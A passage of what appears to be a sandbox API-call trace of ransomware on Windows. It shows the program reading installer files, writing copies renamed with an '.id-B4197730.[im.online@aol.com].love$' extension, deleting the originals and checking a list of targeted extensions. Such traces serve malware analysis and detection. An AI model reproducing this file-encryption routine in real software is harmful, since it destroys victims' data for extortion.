(lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0102.795] GetLastError () returned 0x0 [0102.816] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x318f, lpOverlapped=0x0) returned 1 [0102.842] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x3190, lpOverlapped=0x0) returned 1 [0102.853] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.853] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.853] SetEndOfFile (hFile=0x2f0) returned 1 [0102.854] CloseHandle (hObject=0x2f0) returned 1 [0102.855] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.855] SetEndOfFile (hFile=0x354) returned 1 [0102.856] CloseHandle (hObject=0x354) returned 1 [0102.856] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.857] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 1 [0102.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.857] lstrlenW (lpString=".doc") returned 4 [0102.857] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.857] lstrlenW (lpString=".docx") returned 5 [0102.857] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.857] lstrlenW (lpString=".pdf") returned 4 [0102.857] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.857] lstrlenW (lpString=".xls") returned 4 [0102.857] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.857] lstrlenW (lpString=".xlsx") returned 5 [0102.857] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.857] lstrlenW (lpString=".ppt") returned 4 [0102.857] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.857] lstrlenW (lpString=".zip") returned 4 [0102.857] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.858] lstrlenW (lpString=".rar") returned 4 [0102.858] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.858] lstrlenW (lpString=".bz2") returned 4 [0102.858] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.858] lstrlenW (lpString=".7z") returned 3 [0102.858] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.858] lstrlenW (lpString=".dbf") returned 4 [0102.858] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.858] lstrlenW (lpString=".1cd") returned 4 [0102.858] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.858] lstrlenW (lpString=".jpg") returned 4 [0102.858] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.858] lstrlenW (lpString=".doc") returned 4 [0102.858] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.858] lstrlenW (lpString=".docx") returned 5 [0102.858] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.858] lstrlenW (lpString=".pdf") returned 4 [0102.858] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.858] lstrlenW (lpString=".xls") returned 4 [0102.858] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.858] lstrlenW (lpString=".xlsx") returned 5 [0102.858] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.859] lstrlenW (lpString=".ppt") returned 4 [0102.859] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.859] lstrlenW (lpString=".zip") returned 4 [0102.859] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.859] lstrlenW (lpString=".rar") returned 4 [0102.859] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.859] lstrlenW (lpString=".bz2") returned 4 [0102.859] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.859] lstrlenW (lpString=".7z") returned 3 [0102.859] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.859] lstrlenW (lpString=".dbf") returned 4 [0102.859] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.859] lstrlenW (lpString=".1cd") returned 4 [0102.859] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 35 [0102.859] lstrlenW (lpString=".jpg") returned 4 [0102.859] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.859] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0102.859] lstrlenW (lpString="eula.rtf") returned 8 [0102.859] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0102.860] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=3865) returned 1 [0102.860] CloseHandle (hObject=0x354) returned 1 [0102.860] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0102.860] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.860] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0102.860] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.860] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.861] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0102.861] GetLastError () returned 0x0 [0102.861] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0xf19, lpOverlapped=0x0) returned 1 [0102.880] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xf20, lpOverlapped=0x0) returned 1 [0102.882] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.882] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.883] SetEndOfFile (hFile=0x2f0) returned 1 [0102.883] CloseHandle (hObject=0x2f0) returned 1 [0102.884] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.884] SetEndOfFile (hFile=0x354) returned 1 [0102.885] CloseHandle (hObject=0x354) returned 1 [0102.886] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.886] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 1 [0102.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.886] lstrlenW (lpString=".doc") returned 4 [0102.886] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.886] lstrlenW (lpString=".docx") returned 5 [0102.887] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.887] lstrlenW (lpString=".pdf") returned 4 [0102.887] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.887] lstrlenW (lpString=".xls") returned 4 [0102.887] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.887] lstrlenW (lpString=".xlsx") returned 5 [0102.887] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.887] lstrlenW (lpString=".ppt") returned 4 [0102.887] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.887] lstrlenW (lpString=".zip") returned 4 [0102.887] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.887] lstrlenW (lpString=".rar") returned 4 [0102.887] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.887] lstrlenW (lpString=".bz2") returned 4 [0102.887] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.887] lstrlenW (lpString=".7z") returned 3 [0102.887] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.887] lstrlenW (lpString=".dbf") returned 4 [0102.887] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.887] lstrlenW (lpString=".1cd") returned 4 [0102.887] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.887] lstrlenW (lpString=".jpg") returned 4 [0102.887] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.888] lstrlenW (lpString=".doc") returned 4 [0102.888] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0102.888] lstrlenW (lpString=".docx") returned 5 [0102.888] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0102.888] lstrlenW (lpString=".pdf") returned 4 [0102.888] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0102.888] lstrlenW (lpString=".xls") returned 4 [0102.888] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0102.888] lstrlenW (lpString=".xlsx") returned 5 [0102.888] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0102.888] lstrlenW (lpString=".ppt") returned 4 [0102.888] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0102.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.888] lstrlenW (lpString=".zip") returned 4 [0102.888] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0102.888] lstrlenW (lpString=".rar") returned 4 [0102.888] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0102.888] lstrlenW (lpString=".bz2") returned 4 [0102.888] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0102.888] lstrlenW (lpString=".7z") returned 3 [0102.888] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0102.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.888] lstrlenW (lpString=".dbf") returned 4 [0102.888] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0102.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.889] lstrlenW (lpString=".1cd") returned 4 [0102.889] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0102.889] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\eula.rtf") returned 35 [0102.889] lstrlenW (lpString=".jpg") returned 4 [0102.889] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0102.889] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0102.889] lstrlenW (lpString="LocalizedData.xml") returned 17 [0102.889] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0102.889] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=77680) returned 1 [0102.889] CloseHandle (hObject=0x354) returned 1 [0102.889] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0102.890] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.890] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0102.890] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.890] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.890] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0102.890] GetLastError () returned 0x0 [0102.890] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x12f70, lpOverlapped=0x0) returned 1 [0103.354] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x12f80, lpOverlapped=0x0) returned 1 [0103.401] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.403] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.403] SetEndOfFile (hFile=0x2f0) returned 1 [0103.403] CloseHandle (hObject=0x2f0) returned 1 [0103.406] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.407] SetEndOfFile (hFile=0x354) returned 1 [0103.408] CloseHandle (hObject=0x354) returned 1 [0103.408] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.409] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0103.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.409] lstrlenW (lpString=".doc") returned 4 [0103.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.409] lstrlenW (lpString=".docx") returned 5 [0103.409] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.409] lstrlenW (lpString=".pdf") returned 4 [0103.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.410] lstrlenW (lpString=".xls") returned 4 [0103.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.410] lstrlenW (lpString=".xlsx") returned 5 [0103.410] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.410] lstrlenW (lpString=".ppt") returned 4 [0103.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.410] lstrlenW (lpString=".zip") returned 4 [0103.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.410] lstrlenW (lpString=".rar") returned 4 [0103.410] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.410] lstrlenW (lpString=".bz2") returned 4 [0103.410] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.410] lstrlenW (lpString=".7z") returned 3 [0103.410] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.410] lstrlenW (lpString=".dbf") returned 4 [0103.410] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.410] lstrlenW (lpString=".1cd") returned 4 [0103.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.410] lstrlenW (lpString=".jpg") returned 4 [0103.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.411] lstrlenW (lpString=".doc") returned 4 [0103.411] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.411] lstrlenW (lpString=".docx") returned 5 [0103.411] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.411] lstrlenW (lpString=".pdf") returned 4 [0103.411] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.411] lstrlenW (lpString=".xls") returned 4 [0103.411] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.411] lstrlenW (lpString=".xlsx") returned 5 [0103.411] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.411] lstrlenW (lpString=".ppt") returned 4 [0103.411] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.411] lstrlenW (lpString=".zip") returned 4 [0103.411] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.411] lstrlenW (lpString=".rar") returned 4 [0103.411] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.411] lstrlenW (lpString=".bz2") returned 4 [0103.411] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.411] lstrlenW (lpString=".7z") returned 3 [0103.411] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.411] lstrlenW (lpString=".dbf") returned 4 [0103.411] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.411] lstrlenW (lpString=".1cd") returned 4 [0103.411] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.412] lstrlenW (lpString=".jpg") returned 4 [0103.412] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.412] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0103.412] lstrlenW (lpString="eula.rtf") returned 8 [0103.412] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0103.412] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=6309) returned 1 [0103.412] CloseHandle (hObject=0x354) returned 1 [0103.412] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0103.413] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.413] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0103.413] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.413] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.413] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0103.413] GetLastError () returned 0x0 [0103.414] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x18a5, lpOverlapped=0x0) returned 1 [0103.417] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x18b0, lpOverlapped=0x0) returned 1 [0103.419] ReadFile (in: hFile=0x354, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0103.419] WriteFile (in: hFile=0x2f0, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.419] SetEndOfFile (hFile=0x2f0) returned 1 [0103.419] CloseHandle (hObject=0x2f0) returned 1 [0103.420] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.420] SetEndOfFile (hFile=0x354) returned 1 [0103.421] CloseHandle (hObject=0x354) returned 1 [0103.421] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.422] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0103.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0103.422] lstrlenW (lpString=".doc") returned 4 [0103.422] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.422] lstrlenW (lpString=".docx") returned 5 [0103.422] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.422] lstrlenW (lpString=".pdf") returned 4 [0103.422] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.422] lstrlenW (lpString=".xls") returned 4 [0103.423] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.423] lstrlenW (lpString=".xlsx") returned 5 [0103.423] lstrcmpiW (lpString1=".xlsx", 